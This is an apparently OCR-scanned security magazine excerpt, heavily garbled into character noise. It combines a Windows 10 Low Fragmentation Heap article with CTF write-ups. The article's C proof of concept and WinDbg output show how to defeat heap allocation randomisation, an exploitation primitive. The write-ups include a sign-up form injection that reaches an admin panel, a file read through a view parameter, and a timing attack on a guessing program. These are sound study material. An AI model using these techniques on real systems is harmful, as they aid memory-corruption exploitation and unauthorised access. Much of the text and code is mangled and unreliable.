S o0 oulbxys oLt x 4 x by |header® * I ¥ x L fp « Dffset T X $41 5 % )
-L A U B hdadek 1 Ix ¥, cfupks Coe P D , - bitmaps _ " x s |
s ¢ T X bigmapL . 4™ 1 L -offset* @ _1dl* s L .S X4 - Userblocks ~ ¥ Lol ox
i T s X s X Do x D x C s e e X
i . S .« x s X i . s

~ ~ ~ v ~

Ce e x x4 o x o L xchunks Lo« SXnfetadatas X o« - oL A ¥ T . L 2 Y

L, 1Txo o XLIRAHs ~ _x sdANdOME s s, L x 1~ 7  mitigationss, ¥y x I x
S RO I I R B L~ "0 Ll x R . hehps* silayouts. . " 7
Ao 4T 0 s x X o fs e Db x D s T e e Y
s x x L& ] s 1 x 1 Windows 10 164291 4ls__, . X s 40X ¥y
XL s ITx. Tx ]

o X X c L es L b e b T ey e T s ]
., UFHs chunk | <« 1~ chunk « J 1 | 1 -bitmap *userdlogks  J v, x "4 4. 4
x " 4« . xIx.< x ghunksd €11 T xbitmap*y, X 4+chudk s st 4 1 T« 1
X -ghtinks * _x X 4 x o Dhithap* «{ «offset~, | L 19« . 4 x7 s 4 4{*s
2., .. 1+« L4.yY offsetx suserblécks . 1+« ~ <« S
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http://illmatics.com/Windows%208%20Heap%20Internals%20(Slides).pdf

, L XX L ntdd-* ¥y x 9 1 1 Ox100 1. x X 1~ 1 o X
oo, - 110100 x 49~ dproaess_ | ntdlINREpLavFragHeapRandomData
« ¢ 1, - ¥ xA 1+ P
1ti
qword ptr
[rsp+arg 0], rbx
rdi
rsp, 20h
rbx, RtlpLowFragHeapRandomData
edi,
ol s =
mov » /F7F7F7F7F7F7F7Ft
and rcx
mov [rbx], rax
lea rbx, [rbx+8]
sub rdi, 1
jnz short
mov rbx, [rsp+28h+ 0]
add rsp, 20l
pop rdi
_ bitm&ps .1 I x o X 1« .chunk 34 % < 4 4% . x 71X, x7" ¢ x
1+ 7 o~ 1~ s NN F1lT WX X~ L Lol xox ) 1 index - s, x X
userblockss  ibitmap> _ x [ 4 1 sindéxd 13 7+ _ jndexs «pxxsx X ., X o« 7
FAHS T x o x ¢hunk ,"~4-bit¥__ ¢ 4 4 Y _ ' sindek$ ~ » H& » X {1 8X%w .,
B B F 11, s [ X L s 1. s (| 1. x <y S S
0x100 o _ x €7 1. 1+ L X N v XS s R F
{1 v ./ « n ,Iv X X v L xC'|”~ x 7
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e N N x Tr o podindeks st 4l KT 0o x oy R s

P XL 4 L T indeRsd xsIOx P x o fxITX |, xs€ 1 ]

s ox o _hitmapd | %« WXL LA 1A v s o R d X s LS x p
Plxoxixe x " pxchunk P A e X 11X X, x T8 ] L5 a4 Xxes
Tx L l4ex 4oL T x e i 1ad

chunk =/ HeapAlloc(hHeap, 0x0, size);
printf("[*] Chunk Ox%p is freed in the userblocks for bucket size @x¥%x\n", chunk, size);

(size_t i = 0; i < RandomDataArraylLength - 1; ++i) {

tmp_chunk = HeapAlloc(hHeap, 0x0, size);
(!tmp_chunk) {
FAIL;
}
HeapFree(hHeap, 0x0, tmp_chunk);
}
tmp_chunk = HeapAlloc(hHeap, 0x0, size);
. « X 4% L X« X , s x o 7s S I X o« L - CTUJAFHw s, 1K A4 ;]
granularity x © x « * x4 s {4 s x0T {1l 4 {sXO o T ] D Xxx{l ] s

chunk = HeapAlloc(hHeap, 0x0, size);
HeapFree(hHeap, 0x0, chunk);
printf("[*] Chunk @x¥p is freed in the userblocks for bucket size @x%x\n", chunk, size);

(size t i = 0; i < RandomDataArraylLength - 1; ++i) {
tmp_chunk = HeapAlloc(hHeap, 0x0, size);
(!tmp_chunk) {

FAIL;
}
HeapFree(hHeap, 0x0, tmp_chunk);
}
tmp_chunk = HeapAlloc(hHeap, 0x0, size);
s { X . S S « X . SS :I,\xs‘\,,s.{.|$'|.| s ” X, 1+« S s .,
B C:\WINDOWS\system32\cmd.exe — a X
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https://github.com/saaramar/Deterministic_LFH

"o o lindexs 14 P~ L 10X

~ a ~

el s LT X G MY 4 s x|y

>

X

1~ F I 9-, e 13 weap xaround < x _ L X P

A >

L (TOXELO 1T 4 %) 4L xihdexs i x

tlplLo P domData[v_t -

a ~

1 s (RtlpEieapGenerateRandomValue32()
L P T T I

+ OxAC)];
>LowFragHeapDataSlot};|

1

'I ~

->LowFragHeapDataS teb->LowFragHe

X T e x o o0 AT X s X O X ST X X s KK

100,000 , 1% ¢ s ¥ x

apDataSlot + 1) & OxFF;

bounty o HFHS, L 1 S .o« X ps = X

X« ., L precdss ¥ 4 ¥ X ks ]

‘WinDbg . huiltin

E#include <stdio.h>
L#include <Windows.h>

E main(

HANDLE hHeap;
hHeap = HeapCreate(©,

(size_ t i =0; i
HeapAlloc(hHeap,
HeapAlloc(hHeap,
HeapAlloc (hHeap,

(size_ t i =0; i
HeapAlloc(hHeap,
HeapAlloc(hHeap,
HeapAlloc(hHeap,

0;

S T A Fhx s 0 4,
x 1ox oo CUSLULRRAs b s
lheap-p -a <addr>
lheap-p-all 1

laddress <addr>

”n o = _I _i ” s -I L, XL L

) A

0, 0);

< Ox12; i++) {
0x0, 0x40);
0x0, 6x100);
0x0, 0x200);

< Ox30; i++)
0x0, 0x40);

0x0, 6x100);
0x0, 0x200);

4 8
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https://www.microsoft.com/en-us/msrc/bounty-mitigation-bypass
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Y 1. lheappGal : s« *s sl x  sheaps (ajoutss. ‘=] X ™« s..,"x s

>

Llhxy oxop DX x D s to so,” | lheapt l-ehtink® L 1 T X+ ] AT
S, s s s nexdXsR g X S 58 x o s X state X s p Xe Y S . T X
callere s~ © dchunk$ 1 = X x 1 18 <"1 | *headet:s*

91532018 VY4l 91532020 7 (busy)
0153220 0041 01532F2 CIE%)
01533128 0041 01533130 (busy)
01533330 0041 01533338 (busy)
01533538 0041 01533540 (busy)
01533740 0041 01533748 (busy)
01533948 0041 91533950 (busy)
01533b50 0041 091533b58 (busy)
01533d58 0041 91533d60 (busy)
01534048 0201 091534050 (busy)
01534078 0009 01534080 (free)
015340c0 0009 015340c8 (free)
01534108 0009 01534110 (free)
01534150 0009 01534158 (free)
01534198 0009 01534120 (free)
©15341e0 0009 015341e8 (free)
01534228 0009 01534230 (free)
01534270 0009 01534278 (free)
015342b8 0009 015342c0 (free)
01534300 0009 01534308 (free)
01534348 0009 01534350 (free)
01534390 0009 01534398 (free)
015343d8 0009 0915343e0 (free)
01534420 0009 091534428 (free)
01534468 0009 01534470 (free)
015344b0 0009 0915344b8 (free)
0153448 0009 01534500 (free)
01534540 0009 01534548 (free)
01534588 0009 01534590 (free)
015345d0 0009 015345d8 (free)
01534618 0009 01534620 (free)
01534660 0009 01534668 (free)
©15346a8 0009 015346b0 (free)
01534610 0009 01534618 (free)
01534738 0009 01534740 (free)
01534780 ©009 01534788 (free)
015347c8 0009 015347d0 (free)
01534810 0009 091534818 (free)
01534858 0009 091534860 (free)
01534820 0009 091534828 (free)
015348e8 0009 0153480 (free)
01534930 0009 01534938 (free)
01534978 0009 01534980 (busy)
015349c0 0009 015349c8 (busy)
01534208 0009 01534a10 (busy)
01534250 0009 01534a58 (busy)
01534298 0009 01534220 CIE%)
0153423e0 0009 0153428 (busy)
01534b28 0009 01534b30 (busy)

bucket* Ox40 ! x v X v 4 < x < cbuckets_ D200, tr!4xy¥:* s 4 . x w1« s | A

x . usarblocka s odx s, x,Xs s x| ] oltputsx _ 47 X x ., s]¢ kX, .

x I, . ” X (ox X X% oy ox X q S , 1y x oL
*x i ]s 1477 .+ 11~ « _ debugger _userblocks” x _ | XX _* 1% x A
[T O - L, * lpagexuserblocks L headér1: ¢ 4 1 * 1 Ox15340501 s _ ,
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s 11 Ox30+ 4" ¥ X v qs s . X's DX x I ]s DX v, DOx1000 -

X page L _ X, FloL L L S X s ¢ , S FloXoDos L
r 1 uderblocks
protections : ~ s 4o 4 4 p AT IxXT Ix o, Tes Dxbx

0:004> 'heap -p -a 015343d8
address ©15343d8 found in
_HEAP @ 1520000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
015343d8 0009 0000 [00] 9153430 00040 - (free)

0:004> !address ©15343d8

Usage: Heap

Base Address: 01530000

End Address: 0153b00o0

Region Size: 0000bo00 ( 44.000 kB)

State: 00001000 MEM_COMMIT
Protect: 0BBLBBB4 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 91530000

Allocation Protect: 06084 PAGE_READWRITE
More info: heap owning the address:

More info: heap segment

More info: heap entry containing the address:
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cx 14~ . . * WIndows* userspace& heap - X _ . X1 L~ 1L . X4 s
T v qs Cox o x] L X <« 4" L s s , Lo XY Tox X
X q sy S U RS S R I N R B | P XY L X JLFHs 4 x - X
R I FlA s LX) NV I & I BN IR RN Bl NI CIRE B S
(A U AU T B S I
i , (vo X v x Wihdows Pools) 11 x | o X «Xk€mel* T x>y T s, e x o x s X
- ) +chunk . _headers o+, 4 1 * s ¥ schdnk - X X [ 4 coaksde” X , + ¥ 1
cd1s e Pxe 4« 1 441" ~cookie + xor .. {1*"x . métadatadiyx Ly - ¢
$ X kLEH - ~ x_8kip ‘ahtad 18204x fast ring. build 17723 L LBHs @ © - ~ 11 s
FAlox 47 L, Sx WX -usetspacest | x 44 %X s flopténd o XxXX1SCx L o«
A TN T I R

.k ., sS4s _ Windows L - XS

Windows 8 heap internals |

The segment heap 1

Understanding thefEH- (¢ x 1 s 1 { iwindows %, « v * X 1) _ 1

s 7 X « .~ S Yo S X 1T« " sq ¢ ” . x

~ ~ ~ ~ ~

-Windows UserspacelLow Fragmentation Heap. * « { 7
www.DigitalWhisper.co.il
51 2018 -~ * _ 0@ " x 4 L ¥



https://twitter.com/epakskape/status/1022557117998231552
http://illmatics.com/Windows%208%20Heap%20Internals.pdf
http://illmatics.com/Windows%208%20Heap%20Internals.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Yason-Windows-10-Segment-Heap-Internals.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Yason-Windows-10-Segment-Heap-Internals.pdf
http://illmatics.com/Understanding_the_LFH.pdf

Technolooi

Check Poinf018+4 ¥ - ~

Dvd848 - -
o X X
R T B S T E N S T A RV
Programming Reversing Web + s 4 " { ¥ S O .. .6 x4 ¥s FlayY
X1« v d.¥ v 40 - X Legie*Networking Y {1 . .« S
(- x 1 10-Web- 1 1 »)XRetdrn of the Robots1~ ¥ - -
~ ¥ + +« S D R
I I TR R LSS | N R T T I
Robotics: A Brief History
Origins of "robot" and "robotics"
The word "robot" conjures up a variety of
images, from R2D2 and C3PO of Star Wars fame;
to human-like machines that exist to serve their
creators (perhaps in the form of the cooking and
cleaning Rosie in the popular cartoon series the
Jetsons); to the Rover Sojourner, which explored
the Martian landscape as part of the Mars
Pathfinder mission. Some people may alternatively
perceive robots as dangerous technological ventures
that will someday lead to the demise of the human
race, either by outsmarting or outmuscling us and
L. SH4<+1.xRobots " xWebs | 4+ 1 x % — “xx | <xs ,{]Cs,
At x X x D0 s 4~ L robots.tktx X x Xs . DoXx o

52
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https://en.wikipedia.org/wiki/Robots_exclusion_standard

Technologic

17 .17 4+ o N T S B R A S TRV B I S
. X S Lo L 1y x {7s x " oo ) X 11 s x 7
X7 rdd s s X x o pobotsitxt (S w s L. X IS 4 f e
x " "X . L | X X s ] X { s x ¢ =xX x ‘|Js)
((IL s~-|y X L ~-| IxA Lo , S .
s ¢ s X X o X F X < LX oLl LoX o] . X S ,-|>< X = X « X
bax s 4 . LLXx] «xs X e DX A T X s % S s
1. x4 447 s T A4
. X s =] x s . N " , - ¥ . S L ”
User - agent: *
Disallow: /secret_login.html
S v ., "X (I
No Robots Allowed
Password: | | Submit
1 s v, " I s L

<html>
<body>
<script  type ="text/javascript" >
function r(n) {
for (var r=0, 0=0, e="", t=0; t<nlength ; t++)
n[t]. toLowerCase () != n[t] && (r+=1), 8 == ++0

? (e += String.fromCharCode (r), r=0, 0=0) : r <<= 1;

}

function auth (n) {
if ( == btoa (n))
a =

else a =

}

</script>

<h1>No Robots Allowed </h1>

<label for ="userPassword" >Password: </label>

<input id ="userPassword" type ="password" required >

r(a)

alert (e)

<input type ="submit" value ="Submit" onclick = "auth(userPassword.value);"

<body>
</html>
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St ) s e s DUsauth S UM T X o s LD
Bage64& 1 S X . 1 _ bfod !'x{d <7 X _ X X _{ s .. BaseBd 1 * I x..
Ton o -I . S N L X “a:tob :l'IX'II"I““”SX >-|xx ”NAV>:L~ ”

x

flag{gOtta_k33p_those_rOb0ts_out}
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1 X DX, X ] 0 s X

Welcome To Diego's Gallery

Please sign-up to our beta

username password |Set a strong password

1 L1

v

L, ~» X< _ X 471 0s 0 4 41 _ S®U Ipjectiort 1 ¥ X ] 1L«
AT e s Hr X T s
some_password ||| admin ||| END
sq4s 4 4, x s
START||| some_username ||| some_password ||| admin ||| ENDO|| wuser ||| END
LXS'I”S IL s 'IY LX“"X ,LS” < X S X "
[ 25.104.63219/csa 2018/, x\D
&« c |® 35.194.63.219/csa_2018/diegos_gallery/_trpyyxfhoszl/admin-panel/index.php?view=log.txt
Admin Panel
Error log:
MNothing Special
Diego's fine, flag's safe
P
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X X x 1 ]s w X L XL X 1 i~ B

~ ~ ~ 1

http://35.194.63.219/csa_2018/diegos_gallery/ trpyyxfhoszl/admisnel/index.php?view=log.txt

CaIBgXE F X« X ke ST A4S D oxy 4. x  Xindexphp_ . %X < S,

~

?flagtxt  _ o, ~ 1~

J,-" [% 35.19463.219/csa_ 2018/ X \\

& C | © 35.194.63.219/csa_2018/diegos_gallery/_trpyyxfhoszl/admin-panel/index.php?view=flag.txt

Admin Panel

Add photos
Error log:

flag{M30w_MeOw_MeOvv}
v

56
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(- x I 20.Programming 1 1 - )*Caréful Steps3~ v - -

., ¥ © + S DX o,

Thisis a bunch of archives we've found and we believe a secret flag is somehow hidden: inside
them.

We're prety sure the information we're looking for is in the comments section of each file.
Can you step carefully between the files and get the flag?

Good luck!

s« file * ! x <  *unzipme.1999 'unzipme®, L 1s 20004 « ¥4 _ T x4 1.

ZIPXRAR 4« X« px v X, XX

# Tile unzipme.@

unzipme.@: RAR archive data, v4, os: Unix

: # file unzipme.?2
unzipme.2: Zip archive data, at least v2.0 to extract

S X
unzip-z -l x 0  ZIP X xS L s, s
: # unzip -Z unzipme.?2
unzipme.?2
: # unzip -z unzipme.4
unzipme.4
: # unzip -z unzipme.5
unzipme.5
X Xs &g« XX+, XS L, X X . s Lo~ 144 s, S
LYy s L] x o
s 1A x S L

import 0s
import  zipfile
import  rarfile
import  sys

print  (
listOfFiles = sorted (o0s. listdir ('archives'
comments = {}
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https://s3.eu-central-1.amazonaws.com/csh-static/careful_steps/ad9c64b6d99e1b6beac878bef108dfbe873fc5ddfd5a469322cf6c0c231f1524.zip

Technologic

file_name in listOfFiles
try :
with  zipfile . ZipFile (‘archives/ + file_name ) as zf:
comment = zf . comment. decode ( )
except zipfile . BadZipFile
try :
with rarfile . RarFile (‘archives/ + file_name ) as rf :
comment = rf . comment
except e:
raise e

comments[int (file_name . replace ( )] = comment. rstrip ()

print  ( )
current_index
new_offset =
while  True :

current_index = current_index + new_offset

current = comments[ current_index ]
char , new_offset = current . split (
new_offset = int (new_offset )

sys . stdout . write (char )

if  new_offset
break

Reading comments...

Following trail...

Well done buddy! You seem to be able to step carefully through the files. This 1
5 yﬂur flag: flag{ArchvIES Ar3 ThE BeS57}

2
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(- x I 25.Networking: 1 1 ~)¥PingRong4- v - -

| bet you'e not fast enough to defeat me.

I'm at:nc 35.157.111.68 10140

” L » X

I: # nc 35.157.111.68 10140
Welcome!
Send the following number: 991082

the next is: 708957

, the next is: 856185
You're Too Slow For Me...

1T~ " « X « X S oo ¢ Fod X X . " v

XD T U D xR L XTSI SR d W N X .S

import  socket

import  time
import re

s = socket . socket ()
reg = re.compile (".+: (] \d]+) \n$' )

try
port = 10140

s. connect (( '35.157.111.68' , port ))

start_time = time . time ()
print  (s. recv (9))
while  True :
msg = (s.recv (1024)). decode (
print  (msgQ)
match = reg . match ( msg)
if  match :
num = match . group (1)
print  ( num)
s. send (str . encode (num +
else :
break
print ( % (time .time () - start time ))

except :

raise
finally

s. close ()
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re . compile (

x 4.« Tl 210 .~ (+) L~ix A x DTy
et x " AYn) b X A NE A x4 x e DT s () 1 xxo
s Teoos o7 A X \dPs X s e Ay X s xxo D

arXx 4 os 4 4 s o4, Y d s 4]

L X« "X i . i . « S
913794
Good, the next is: 22449
224469
Good, the next is: 459506
459506
Good, the next is: E5E81le3
ES5EB163
flag{SEEHS_LiKE_YOa_StiLl_Faﬂt}
-——— 136.25361844062805 seconds —--
et
1 x 914 *s L .on XX . . s { s s X x . S T X < - .

A ~ > 1 ~

s « 1Goedx the'nextis! v+ , ¥ x o 4| 104 a1 () _dxyx %o, )x

LA dffset x Cox x40 Ly s N T N
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~ ”
ining
L % 1 4 X N { " x . Zp(,;agpx XXX ol Y XS s LX «
'~ > ~ on ~ v o~ v e o~
.WireShark
‘ 8ecae925c031f0a91d4f7a3934dee5974d39bb750d1522e3001fd27.pcap m’
[ File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
AW @ DRE A +»oew=aaar
[I ‘Apply a display filter ... <Ctrl-/> =3 'l Expression... +
No. Time Source Destination Protocol Length Info =
3 0.009839 10.10.11.53 239.255.255.250 SSDP 179 M-SEARCH * HTTP/1.1
4 0.087971 0.0.0.0 10.10.0.0 CPHA 76 CPHAv3121: Unknown 11
5 0.087972 0.0.0.0 10.10.0.0 CPHA 86 CPHAv3121: FWHA IFCONF_REPLY - Interface configuration rep..
6 0.100988 114.77.137.236 10.10.11.7 TCP 60 51413 - 54902 [ACK] Seq=1 Ack=1 Win=23360 Len=0
7 0.10098% 114.77.137.236 10.10.11.7 TCP 60 51413 -+ 54902 [ACK] Seq=1 Ack=54920 Win=23360 Len=0
8 0.101084 10.10.11.7 114.77.137.236 TCP 40373 54902 - 51413 [PSH, ACK] Seq=347258 Ack=1 Win=256 Len=40319
9 0.101233 10.10.11.7 114.77.137.236 TCP 40934 54902 -+ 51413 [ACK] Seq=387577 Ack=1 Win=256 Len=40880
10 0.106351 114.77.137.236 10.10.11.7 TCP 60 51413 - 54902 [ACK] Seq=1 Ack=29201 Win=23360 Len=0
11 8.133915 114.77.137.236 10.10.11.7 TCP 60 51413 -+ 54902 [ACK] Seq=1 Ack=69520 Win=23360 Len=0
12 0.133943 10.10.11.7 114.77.137.236 TCP 14654 54902 -+ 51413 [ACK] Seq=428457 Ack=1 Win=256 Len=14600
13 0.171048 0.0.0.0 10.10.0.0 CPHA 76 CPHAv3121: Unknown 11
14 0.193563 114.77.137.236 10.10.11.7 TCP 60 51413 - 54902 [ACK] Seq=1 Ack=70980 Win=23360 Len=0
15 0.193584 10.10.11.7 114.77.137.236 TCP 1514 54902 - 51413 [ACK] Seq=443057 Ack=1 Win=256 Len=14660
16 0.197235 10.10.11.53 10.10.255.255 MBNS 110 Registration NB RESEARCH-760F<20>
17 0.197236 10.16.11.53 10.10.255.255 NBNS 110 Registration NB RESEARCH<00>
18 0.197236 10.10.11.53 10.10.255.255 MBNS 110 Registration NB RESEARCH-760F<00>
19 0.211324 114.77.137.236 10.10.11.7 TCP 60 51413 - 54902 [ACK] Seq=1 Ack=82660 Win=23360 Len=0 ~3
» Frame 1: 60 bytes on wire (480 bits), 6@ bytes captured (480 bits)
» Ethernet II, Src: CheckPoi_58:43:3f (80:1c:7f:58:43:3f), Dst: HewlettP 3f:3b:ef (40:b0:34:3f:3b:ef)
» Internet Protocol Version 4, Src: 212.92.185.137, Dst: 10.10.11.7
» Transmission Control Protocel, Src Port: 57998, Dst Port: 55791, Seq: 1, Ack: 1, Len: @
0000 40 be 34 3f 3b ef @0 1c 7f 58 43 3T 08 @0 45 80 @.47;. XC?..E
0010 00 28 e0 39 40 80 36 06 11 a0 d4 S5c 69 89 0a @a (.9@.6 Lo
0020 8b 07 e2 8e d9 ef 00 80 00 00 c4 6c Be de 50 14  ........ ... 1..P
0030 00 00 cd 10 00 60 G0 00 60 @0 0O 0O ... ...
L] ” . ” .
to s ES X X X s DX I x s s
: 14 payload dy 2 . R
opoo 8@ lc 7f 58 43 3f 40 b0 34 3f 3b ef 08 00 45 00 ...XCh@. 47;...E.
0plo 8@ 32 42 06 40 00 B0 06 @O0 60 Ba O0a Ob 67 23 9d - I P
oo2o 6f 44 d9 f1 d4e 21 2b 7d db6 ad 68d a2 27 ae 50 18 oD..N!+} ....'".P.
Op30 81 @@ aB 16 60 88 31 20 35 20 48 45 4c 4c 4 Ba we....1 5 HELLOD.
s L1 4wl DX o X s Os T K THELL® | x| ox
~ a ~ ~ < ~o > A

:Follow TCP Stream

61
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8 Welcome!

5 HELLO

5 HELLO

3 XOR

4 5C1A

12 fusr/bed.txt

3 264
Bx117f0x7cTb0x327e0xTcTT70x253a0x3e7T0x383a0x3d680x39330x2cTfOx2e7cOx39790x283
alx3a750x2e3a0x397b0x3f720x7c750x28720x39680x703a0x3e6T0x28320x31630x7c7h0x30
ThOx2e7T70x7cT98x30750x3T710xT7c710x397f0x2ch90x7coe0x2e630x35740x3b3a0x28750x7
C780x2e7fOx3d710x7ceTOx2f3a0x296a

WK KNEHEH=

s I x o X KX« X X X s x X X X
11 sXO . R L ) N . 1,1, L
Tlx L, S S LS XOR S ax s o4 x s 1o R
plaintexts  ©~ X w0 A4 X
S .« X's S « . X 'S e L X« "X ( . X8 Lx X Fxx XX,y s E » X

<< Welcome!

»>>» HELLD

<< HELLD

»>> XOR

<< QE18

> fusr/70p sECreT.txt

<< OxeBT40xefTfOxT5610x6le6dix513b0x4ed4elxebd4TOXE69280x584T0x4T6cOx2EE5
Decoded Message:

bytearray (b'flagi{vou #@Ve glT Ic!}')

Context Manager - X ~ ~ 1 s X x 1 X7l Gss XSO s L% X K XD L. X o

Sockets L s .4y *xx s T4 X s {47 5, x|

reqv 447 x X Ix17"s s | 4 ) I, s pPretocol G TS L
s 4 ©Xos LGTLXT s )X oses o . xo 1 | decode_msgs: 4l X587 X1«

phxes X o 0 X XOR X ST s (Rt O e He TS X
import  socket , re

class (object )
def (self , ip, port ):
self .ip =ip
self .port = po
self .msg_id =
self . recv_reg
re . compile ('"A(?P<id> \d+) (?P<len> \ d+) (?P<payload>.+)$'

rt
0

(self ):
self . socket = socket . socket ()
self . socket . connect (( self .ip, self . port ))
return  self
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(self , *args ):
self . socket . close ()

(self , msg):
print ( msg)

(self , msg):
self . log ( . format ( msg))
self .msg_id += 1
full_msg = . format (self . msg id, len (msg), msg)
self . socket .send(full_msg .encode ('UTF-8"))

(self ):

msg = self . socket .recv (1024)

match = self .recv_reg . match (msg. decode ('UTF -8"))

if  match:
assert (int (match . group ( )) == self .msg_id)
assert (int (match . group ( ) ==

len (match . group ( ))

self .log ( . format (match . group ( )
return  match . group ( )

raise  Exception ( . format ( msg))

def (self , xor, msg):
chunk_len = len ( ) + len (xor)
frame = bytearray ()
for 1 in range (0, len (msg), chunk len ):
s = msg[i:i + chunk len ]
chunk_val = int (s, 16)
after_xor = (chunk_val ~ int (xor, 16))
for b in (after_xor .to_bytes (len (xor) /I 2,
byteorder ='big" ,
signed =True) ):
frame . append ( b)
return  frame

with  Protocol ('35.157.111.68' , 20001) as p:
msg = p. recv ()
assert (msg ==
p. send ( )
msg = p. recv ()
assert (msg ==
p. send ( )
xor_val = p.recv ()
p. send (
encrypted_file = p.recv ()
print  ( )
print  (p. decode_msg ( xor_val , encrypted file )
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(¢ x| 80.Lbgic: 1 1 » )PNG+&6. ¥ © «

~ ¥ © +« S DX o« , X

This image was encrypted using a custom cipher. We managed to get most of its [cade
Unfortunately, while moving things around, someone spilled coffee all dweyr transformator.py.

Can you helpis decrypt the image?

import  key_transformator
import  random
import  string

key_length =4

def 0:
return " .join (random. choice (string . ascii_uppercase ) for
range (4))

def (s1l, s2):
res = [chr (0)]* key_length
for i in range (len (res)):
q ord (s1[i])
d ord (s2[i])
k q”™d
res[i] = chr (k)
res =" .join (res)
return  res

(img):
| = key_length - len (img)%key_length
img += chr (I)* |
return  img

open ( 'flag.png’ , b ) as f:
img = f.read ()

add_padding (img)
generate_initial_key

enc data ="

for i in range (0, len (img), key_length ):
enc = xor (img[i:i+key length ], key)
key = key_transformator . transform  (key)
enc_data += enc

with  open ( 'encrypted.png' , ‘wb' ) as f:
f.write (enc data )
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http://35.194.63.219/csa_2018/png++/_yducofbudypr/encrypted.png
http://35.194.63.219/csa_2018/png++/encrypt.py

~ S S« 1Y FdoL X wencryptetl.png «- « 3 X T s x| | ST X,

1: x s 170 " 47"Headerxi PNG % _ » X _ w4 M2y ®Isg 1 . x X

~

A PNG file consists of a PNG signature followed by a series of chunks

The first eight bytes of a PNG file always contain the following (decimal )
values :
137 80 78 71 13 10 26 10

X X o S

Cffset(h) OO0 01 02 03 04 QL5 Oc O7 OB 0% OA OB OC OD OQOE OF
QoQoQoQoQo0 C7 1C OB 13 42 47 5C EF 50 4E 47 5B 18 07 OC 05
QoQQo0lo 52 50 4B 5% 53 51 4B 07 5C 54 4B S5A 55 AQ 58 FC
QQooQ020 Be 54 4D 5C 53 32 OF 10 19 L5 4F EF De 5C AC 3E
QQooQ030 5F 58 51 0 7B 34 1A 33 11 SA 53 18 7B SB 54 E3

X S N L

I .s 11  Chunk ~ s Y + {«0%xde 0x4cC’0X45 OXBALET « x s 11 s s, ”

1 1. Ll x&@nBmt nEmRIINERc nEpp

# (Using original functions)

def (key):

return .join (map(lambda x: chr (( ord (x)+1) % 256), key))
with  open ('encrypted.png' , 'rb’
img = f.read ()

) as f:

in range (0, len (img), key length ):
dec = xor (img[i:i+key length ], key)
key = transform (key)
dec data += dec

with  open ( 'flag.png’ , ‘'wb' ) as f:
f. write (dec data )
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Hi there,

We foundThisexecutable on the local watchmaker's computer.

It is rumored that somehow the watchmaker was the gméyson who succeeded to crack it.
Think you're as good as the watchmaker?

Note: This file is not malicious in any way

,,-IJQSL ><X‘I - c s € ._.I . ” _"s“ﬁ‘x" X”-i‘_
dx e ls oud s P s o s AN X T ks,
. X X N S .o L Lo
SR S XX (S
f
C:\Users\IEUser\Downloads>tmp.exe
Hi there! Welcome to the guessing game
Can you guess the number I'm thinking about?
Your guess> 133
Wrong one..
Your guess>
] ”
s X s o4 T kST HX i, 1T Xee o . o (x4 o x ]
.Timing Attack* ~» *x 1 s+« ., " ., ¥l +<s | s
s ,, 5 v L. ] X" s ., s L X X . X o S X X « q{s
X=x ] = ¢ ., X A o« T « S « X X s s ’s”xJ"s s X x
s 14 s L L~ S 1 " Lol 10 x 1«0 s {14s

57000064849854,
» 9.1870000

~ gue

~ guess> Wrong
guess> Good job my friend!
[9.906999826431274, 9.890000104904175, 9.907000064849854, 9.8910000324249
27]
664524107092274
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https://s3.eu-central-1.amazonaws.com/csh-static/test_my_patience/abe7e6c48b92ccaac3a406082b7f9f02c4b75124e0bcd920680976dd2cb157cb.exe
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from subprocess import Popen, PIPE
import  time

p = Popen([ tmp.exe’ ], stdout =PIPE, stderr =PIPE, stdin =PIPE, shell =True)
print  p. stdout . readline ()
print  p. stdout . readline ()

answer =

searching = True
while  searching
time_arr = ]
for 1 in xrange (10):
start = time .time ()
p. stdin . write (answer + str (i))
p. stdin . write ( )
line = p.stdout .readline ()
end = time .time ()
print  line .rstrip ()
if not in line
answer += str (i)
searching = False
break
time_arr . append (end- start )
print  time_arr
if searching
answer += str (time_arr .index (max(time_arr )))
print . format (answer )
print  answer
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flag{IAAAA_$AYP_%CP_C_WIIX_BYWAOX}
Not so fast...

They say the only place where flags come before work is the dictiomaryis no different

Note: flagletters are all capital

S I S e N L. 48,000 1* _J_ i _saus s _ %7 oLdddiL

~ ~ -~ ~ w

S (T A B - N T S B A I T " I T Y " P NP R BN BT

msg =

d = defaultdict (list )
with  open ( ) as f:
for line in f:
line = line .rstrip ()
I = len (line )
if | <= 6:
d[I']. append (line )

cds xw L A b LysiTsx v s sl s X { x4 x
DX X . 4AXs S g kA X X AR 1]

for win d[5]:
it (W 1] == w2] == w3]
print (W)

1. _ . CEHBEE: X+« ~ L OWHHHH™ {1} _ 35"

IAAAA_SAYP_9%CP_C_WIIX_BYWAOX
OHHHH?H?? 27?7 ? 20Q 2?2?7H??

WIX « 45 x ol 4.l s . xs

for win d[4]:

if (W1] == w2] and W 0] != W3] and W 2]
print (W)

IAAAA_$AYP 9CP_C_WIIX_BYWAOX
OHHHH?H?? 2?? ? POOR??PH?R

BYWAOX: « _ 17

for win d[6]:
if (Wf2] == 'P and W3] == 'H and W5] == 'R ):
print (W)
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http://35.194.63.219/csa_2018/0120343536/_aijudupishwv/dictionary.txt
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w

IAAAA_SAYP_%CP_C_WIIX_BYWAOX
OHHHH?HI? ?2?? ? POOR CIPHER

SAYRL 1 |

for win d[4]:
if (W1] == 'H and W 2]

print (W)
1, . *xq1 {1]s CATHIS 1 X8 L4 s
IAAAA_$SAYP_Y%CP_C_WIIX_BYWAOX
OHHHH THIS ??S ? POOR CIPHER
1 4. x e v 404, s XS

for win d[1]:
if (wfo] = '1" )

print (W)

(€ s ¢ As ) 407
JIAAAA_SAYP %CP_C_WIIX_BYWAOX
OHHHH THIS ?AS A POOR CIPHER

ST X, lves s { S s Toe ovx1 4 xA

~ ~ >

for

IAAAA_SAYP _9CP_C_WIIX_BYWAOX
OHHHH_THIS_WAS_A_POOR_CIPHER
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Technologic

The puzzle we have is:

0,[3, 19, 5, 15]; 1,[0, 1B, 11]; 2,[12, 15, 9, 5]; 3,10, 2, O, 7]; 4,[6, 8, 4, 0]; 5.[3, 1, 12, 17]; 6,[20, 16, 0, 0]; 7,[0, 1, 9, O]; 8,[B];
